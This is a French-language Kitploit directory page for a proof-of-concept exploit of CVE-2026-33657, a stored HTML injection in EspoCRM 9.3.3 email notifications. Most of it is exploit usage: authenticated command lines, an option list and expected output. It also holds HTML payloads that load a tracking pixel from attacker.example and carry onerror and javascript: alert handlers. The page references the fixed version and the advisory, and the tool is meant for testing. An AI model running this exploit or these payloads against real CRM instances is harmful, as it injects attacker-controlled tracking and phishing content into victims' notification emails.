Skip to content
KitploitKITPLOIT
OutilsBlog
Soumettre
OutilsBlog
Soumettre

Outils de Hacking, PenTest et Cybersécurité pour votre Arsenal de Sécurité !

Kitploit est un répertoire d'outils de hacking, de cybersécurité et de pentesting. Découvrez les dernières mises à jour des projets pour trouver des vulnérabilités, analyser des systèmes, automatiser les tests et renforcer votre sécurité.

··Flux·Contact·Confidentialité·© 2026 Kitploit

Répertoire d'outils

Catégories

Voir toutes les catégories
Loading categories
Outils/GitHubGitHub/entrovyx/cve-2026-33657
Analyse des VulnérabilitésExploitationExploitation d'Applications WebSécurité WebTests d'Intrusion
GitHubentrovyx/cve-2026-33657

CVE-2026-33657

EspoCRM 9.3.3 - Injection HTML stockée dans les notifications par e-mail

Voir le dépôt
il y a 3 moisPas encore vérifié

Populaires

Voir tout →

Découvrez les outils les plus utilisés par notre communauté.

Explorer tous les outils

Parcourez notre collection d'outils

Voir tous les outils →
Partager

CVE-2026-33657 - Injection HTML stockée dans EspoCRM 9.3.3 dans les notifications par e-mail

Preuve de concept authentifiée pour l'injection HTML stockée dans les notifications par e-mail d'EspoCRM 9.3.3.

Résumé

EspoCRM 9.3.3 génère les e-mails de notification de flux en transformant le corps de la note avec Markdown et en insérant le HTML résultant dans les modèles d'e-mail avec des accolades triples ({{{post}}}). Un utilisateur authentifié qui peut créer une publication de flux et déclencher une notification peut stocker du HTML contrôlé par l'attaquant qui est ensuite rendu dans le corps de l'e-mail généré.

L'exploit exécute la partie distante contrôlée par l'attaquant du processus :

  1. S'authentifie auprès d'EspoCRM.
  2. Identifie éventuellement la version avec /api/v1/App/user.
  3. Crée une Note malveillante contenant du HTML.
  4. Utilise --mention ou --target-user-id pour mettre en file d'attente une cible de notification.
  5. Confirme que la charge utile est stockée et que la cible de notification est présente dans la réponse de l'API.

La livraison de l'e-mail se produit lorsque le travail SendEmailNotifications normal d'EspoCRM ou cron traite la notification en file d'attente.

Version affectée

  • Vulnérable : EspoCRM 9.3.3
  • Corrigée : EspoCRM 9.3.4
  • Avis : https://github.com/espocrm/espocrm/security/advisories/GHSA-8prm-r5j9-j574
  • CVE : CVE-2026-33657
  • CWE : CWE-80

Prérequis

  • Python 3
  • requests
  • Identifiants EspoCRM valides
  • Capacité à créer des enregistrements Note de flux
  • Une cible de notification :
    • --mention <nom_utilisateur> pour les notifications par e-mail de mention, ou
    • --target-user-id <id> pour les notifications de publication de flux ciblées

Installer la dépendance :

root@kitploit:~
python3 -m pip install requests

Utilisation

Chemin préféré basé sur la mention :

root@kitploit:~
python3 CVE-2026-33657.py \
  -u http://127.0.0.1:8083 \
  -U testuser \
  -P 'Admin12345!' \
  --mention admin

Utiliser une URL de suivi personnalisée :

root@kitploit:~
python3 CVE-2026-33657.py \
  -u https://target.example \
  -U user \
  -P 'password' \
  --mention victim \
  --tracking-url https://attacker.example/pixel.gif

Utiliser une charge utile HTML entièrement personnalisée :

root@kitploit:~
python3 CVE-2026-33657.py \
  -u https://target.example \
  -U user \
  -P 'password' \
  --mention victim \
  --payload '<img src="https://attacker.example/p.gif" onerror="alert(33657)"><a href="javascript:alert(33657)">open</a>'

Cibler un identifiant utilisateur spécifique au lieu d'une mention :

root@kitploit:~
python3 CVE-2026-33657.py \
  -u https://target.example \
  -U user \
  -P 'password' \
  --target-user-id 0123456789abcdef0 \
  --target-user-name 'Victim User'

Identification uniquement, sans créer de note :

root@kitploit:~
python3 CVE-2026-33657.py \
  -u https://target.example \
  -U user \
  -P 'password' \
  --detect-only

Options

root@kitploit:~
-u, --url                 URL de base d'EspoCRM
-U, --username            Nom d'utilisateur EspoCRM
-P, --password            Mot de passe EspoCRM
--mention                 Nom d'utilisateur à mentionner, sans @
--target-user-id          Identifiant utilisateur pour les notifications de publication de flux ciblées
--target-user-name        Nom d'affichage pour --target-user-id
--payload                 Charge utile HTML brute à stocker dans la Note
--tracking-url            URL du pixel de suivi utilisée par la charge utile par défaut
--link-url                URL du lien utilisée par la charge utile par défaut
--marker                  Texte de marqueur ajouté au début de la charge utile
--detect-only             Identifier la version uniquement ; ne pas créer de Note
--skip-version-check      Ignorer /api/v1/App/user avant l'exploitation
--force                   Continuer même si l'empreinte de version n'est pas 9.3.3
--insecure                Désactiver la vérification du certificat TLS

Sortie attendue

Une exécution réussie crée une note malveillante et confirme la cible de notification :

root@kitploit:~
[*] /api/v1/App/user : HTTP 200
[*] Version détectée : 9.3.3
[+] L'empreinte de version est vulnérable : EspoCRM 9.3.3.
[*] Création d'une Note malveillante en tant que testuser
[*] Réponse de la Note : HTTP 200 ...
[+] Charge utile de l'exploit stockée dans la publication de la Note.
[+] Identifiant de la Note : 69fddeef8db756271
[+] Mention analysée : @admin -> identifiant utilisateur 69fdcfb66c34ccb81
[+] Liste des cibles de notification renvoyée par l'API : 69fdcfb66c34ccb81
[+] Déclencheur distant complet soumis.

Sur une instance vulnérable, le corps de l'e-mail HTML généré préserve le HTML injecté. Une capture en laboratoire ressemble à :

root@kitploit:~
<img src="http://attacker.example/full-process.gif" width="1" height="1" onerror="alert(33657)">
<a href="javascript:alert(33657)" style="color:red">re-auth</a>

Vérification en laboratoire

Dans un laboratoire EspoCRM local, après avoir exécuté l'exploit, déclencher le travail de notification :

root@kitploit:~
sudo -u www-data php command.php run-job SendEmailNotifications

Le corps de l'e-mail résultant doit contenir le HTML injecté dans la partie text/html.

Remarques

  • L'exploit ne nécessite pas d'accès shell à la cible ; l'accès shell n'est utile que pour la vérification locale en laboratoire du travail d'e-mail en file d'attente.
  • Si l'API signale @@version, la cible est probablement une construction d'arborescence source. Le script continue car le code sous-jacent peut toujours être l'étiquette vulnérable 9.3.3.
  • Si --mention ne produit pas de mention analysée, vérifiez les messagePermission et mentionPermission de l'attaquant, et confirmez que le nom d'utilisateur cible existe et peut recevoir des notifications.
Télécharger l’outil